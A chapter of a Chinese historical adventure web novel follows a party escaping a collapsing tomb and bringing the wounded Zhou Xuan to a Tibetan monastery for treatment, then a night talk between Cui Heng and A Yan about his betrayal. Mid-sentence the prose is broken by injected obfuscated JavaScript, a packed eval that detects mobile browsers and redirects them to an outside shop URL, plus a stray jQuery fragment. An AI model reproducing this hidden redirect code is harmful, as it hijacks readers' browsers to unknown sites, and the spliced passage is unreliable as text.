一行人再度回到那道隔绝阴阳的木石照墙之前。地上三处圆坑,正是摆放魂灯的位置。苏幕俯身,将三盏骨碟灯依次安放妥当,用火把引燃灯芯。
三簇小小的火苗缓缓亮起,昏黄火光映满照墙上密密麻麻的古藏咒文。
没有轰鸣巨响。只见照墙缝隙之间,冻结千年的冰霜一点点消融,冰层裂开细碎纹路,整面土坯照墙,顺着预设的凹槽,向两侧缓缓退让开来。
一股混着酥油、沉香与冻土的气息扑面而来,墓室主室,终于展现在众人眼前。
众人刚松一口气,头顶便簌簌落下尘土,地底滚来一阵低沉的闷响。原本稳固的石壁接连迸开裂纹,连锁机关被触发。
“不好,这儿要塌了!咱们得原路返回!”
苏幕低喝一声,众人也没有犹豫,转身向着预先寻好的天然天裂拼命撤退,石块不断从头顶砸落。
周晅为护住身后几人,后背硬生生挨了一块飞石,咬牙强忍剧痛,一路护着众人向外突围。
众人狼狈钻出那道天然天裂裂口,山间晚风裹挟冰雪扑面而来。
原来竟是已经天黑了。
周晅因被石块砸中后背,方才强撑着奔逃,一出墓穴便浑身脱力,脸色发白。
“过来坐这。”
林曦不敢耽搁,立刻示意二人将周晅安置在一块背风的大石之后,避开呼啸的山风。
她迅速解开身上药囊,查看伤势。
周晅衣袍后背已经被鲜血浸透,冻硬的布料粘连在撕裂的皮肉上,伤口边缘被地底寒气浸得发紫,高原天寒,血流虽有所放缓,但在这种情况下受的伤,远比平原要危险得多。
“不能直接撕扯衣料,冻土碎石嵌在伤口里,硬扯会撕裂皮肉。”
林曦拔出小巧的银柄小刀,拿出火石,就着火把的火苗炙烤刀刃消毒,再用少量融雪,一点点浸润粘连的衣料,小心翼翼把布料从血肉上剥离。伤口里嵌着不少细碎的冰碴与岩石粉末,若是留在皮肉之中,很快便会化脓溃烂。林曦又取出细毛刷,蘸过药水,扫净创口。
全程周晅牙关紧咬,额上布满冷汗,却不肯出声。
做完外敷,林曦又取出几丸蜜制药丹。
“这药丸可以活血镇痛,抵御高原寒气入体,只是治标,此地酷寒,拖得久依旧会生变故,这样不行,咱们必须尽快赶到山下佛寺。”
周晅强撑着笑了笑:“不过就是皮外伤,有什么打紧,不如就地扎营……”
林曦抬眼看向他,语气干脆:“听我的还是听你的!”
周晅一噎,目光转向旁边众人,无声求助。
可苏幕一下低头捻着手上残存的兽脂,假装研究;阿砚则侧头望向风雪弥漫的山谷,仿佛在探查前路;崔珩静立一旁,一言不发。
几人都莫名闭嘴,没有一个人敢接话。
简单处置完毕,因着林曦催促,众人不敢再做停留,赶紧往山下赶。
周晅偶尔眩晕失神,脚步虚浮,林曦便快步上前,探一探他的脉搏,反复叮嘱不要昏睡过去。
“千万不能睡,知道么?”
一路之上,只要寻到稍微背风的落脚处,众人便短暂停下,但夜幕降临,雪山的寒气越来越重,终究还是得起身赶路。
好在远处山谷,终于隐约望见佛寺点点灯火,金顶在夜色之中露出淡淡的轮廓。
众人都稍稍松了一口气,加快步伐,朝着那片光亮艰难前行。
夜色漫过连绵的雪山,绕过层层叠叠的玛尼石堆,一座佛寺终于完整铺展在众人眼前。
依山而建的殿宇层叠向上,主殿的金顶在夜色里依旧泛着温润夺目的金光,月光落上去,碎出一片流转的辉芒。
赭红色的高墙宽厚高大,墙面上绘着色彩浓艳的壁画,回廊之外悬挂着一排排五彩经幡,山风卷过,经幡猎猎作响。
一座座鎏金□□、宝幢立在殿檐四角,铜铃随风轻颤,传出清越悠远的叮当声响。寺门外立着巨大的转经筒,筒身鎏金,刻满密密麻麻的经文,空气中弥漫着酥油与柏香混合的独特气息。
这座寺庙本不在他们的行进路线上,只是由于几人因机关奔逃,转了路线,这才有了这柳暗花明又一村。
几人搀扶着脸色惨白的周晅,踏着石板台阶走上前,叩响厚重包铜的寺门。
木门缓缓向内推开,两名身披绛红色僧袍的僧人持着火把出来,看见一行人满身风雪泥污,还有伤员,并没有闭门驱赶,只是侧身引众人穿过前院,绕过诵经的主殿,去往后方僻静的疗愈偏院。
院内燃着数盏巨大的酥油灯,灯火摇曳,照亮屋中陈设。地上铺着厚实的羊毛毡垫,木架之上整齐码放着晒干的草药、兽角磨制的药杵、铜制药罐。
一位年岁已高的喇嘛端坐毡垫之上,身上僧袍浆洗得干净,手上带着常年研磨药材留下的薄茧。
显然也通医术。
林曦将周晅扶过去。
老喇嘛神情沉静,示意将周晅安置在铺厚毡的木榻上。
他伸手仔细查验创口,又搭上周晅的腕脉,听着向导转述众人的遭遇。
“山石所伤,又被高原寒气侵体,血气耗损过重。”喇嘛开口,语速缓慢,身边小僧连忙充当翻译。
喇嘛又命小僧取来药草与温热的酥油药剂,先用温热的药汤细细浸润伤口。
藏药不同于中原草药,多取用高原独有的草本、矿物药材,调和温热酥油。
做完外敷,喇嘛又取出数丸棕褐色的药丸,配上温热的酥油茶,喂周晅缓缓服下,用来驱散侵入体内的寒毒,稳固气血。
周晅躺在木榻之上,紧绷的身子终于稍稍松弛,只是依旧面色苍白,昏昏沉沉。
老喇嘛嘱咐众人,此地高寒,伤者万万不可再受风寒,需要留在寺中静养数日,不可再奔波山路。
崔珩谢过喇嘛,林曦也留在榻边,和寺中小僧一同照看着周晅。
金顶之外,山风不息,经幡声声,古墓寻宝一无所获,如今所有人只能暂时停留于这座雪域古寺,等待伤者慢慢恢复。
夜色笼罩整座佛寺,主殿的酥油灯火渐渐稀疏,余下零星几盏长明烛火,映
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947162|204168||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得金顶泛着朦胧柔光。
铜铃被夜风拂动,断断续续传出清泠的回响。
殿宇最高处是一方观景露台,靠着石砌的矮墙,能够俯瞰整片沉沉的山谷。
经历了这般刺激的一天一夜,崔珩睡不着,漏夜而出。
白日里古墓无功而返,周晅重伤卧床,一桩桩事,都叫他全无睡意。
可刚扶上冰凉的石栏,便看见露台另一侧立着一道身影。
是阿砚。
晚风掀起他的衣襟。只见他遥遥望着漆黑连绵的雪山,背影孤峭。
阿砚并没有回头,却早已察觉来人。
“你也还未歇息。”
“是啊。”
崔珩缓步走到他身侧,二人之间隔着半步距离,不再有从前那般亲近。
但崔珩觉得,这点距离,他也许可以尝试着跨越。
“周晅伤势暂时稳住了。”他开口道。
“只是寻找玉玺的事,要耽搁了。”
阿砚的目光依旧落向远处重重山影。
“当初若是我没有执意要取嘉禾,也许,后来的一切也不会发生了。”
这句话悬了许久,终于讲出口。
他当然知道,擅自取走嘉禾,背弃崔珩,孤身投向契丹,那些过往,横亘在二人之间,像一道跨不过的沟壑。
崔珩没有立刻接话。
过往种种一幕幕浮上来,昔日相交,转眼便是背叛与算计。
他心里不是没有芥蒂,可一路同行,也知道阿砚的处境亦是相当艰辛。
今日这一场冒险,心中的那份怨怼,却好似被山风带走了。
“当初,你带走嘉禾。”崔珩声音低沉,像是要把压在心底许久的话说开,“那时候我的确觉得,是你背叛了我们所有人。”
阿砚肩背微微绷紧,垂眸看着栏杆上的玛尼石,石上的纹路被指尖磨得温热。
“我要为流离的族人寻一条活路,嘉禾是希望,可大唐庙堂之上,没有人真正在意边境饥寒的百姓。我早就做好准备,要承担你一辈子的记恨。”
“可你也没有全然选择与我们为敌。”崔珩侧过头看向他,“契丹兵变之时,你也帮忙周旋;古墓遇险,你拼死护住苏幕;周晅遇险,你拼力搀扶。你本可以独善其身。”
阿砚淡淡扯了扯嘴角,并无笑意。
“我还欠着崔家一条性命。当年若非崔璟公子救下流离的我,我早已死在边境荒土。这份恩情,我不能当做没有。只是恩情归恩情,行事归行事,二者不能混为一谈。我依旧不会后悔当初带走嘉禾的决定。”
山风呼啸,经幡烈烈作响,远处大殿零星的酥油灯火,在谷底星星点点。
二人都不是什么善于吐露心肠的人,很多心绪不必说,却也能明白。
过往的裂痕,想来,也唯有时间才能抹平。
崔珩望着沉沉夜色:“我明白你的苦衷。只是希望往后,你可以不必再用这样的方式,去求你想要的结果。”
阿砚沉默许久,缓缓呼出一口白气,“但愿我有得选。”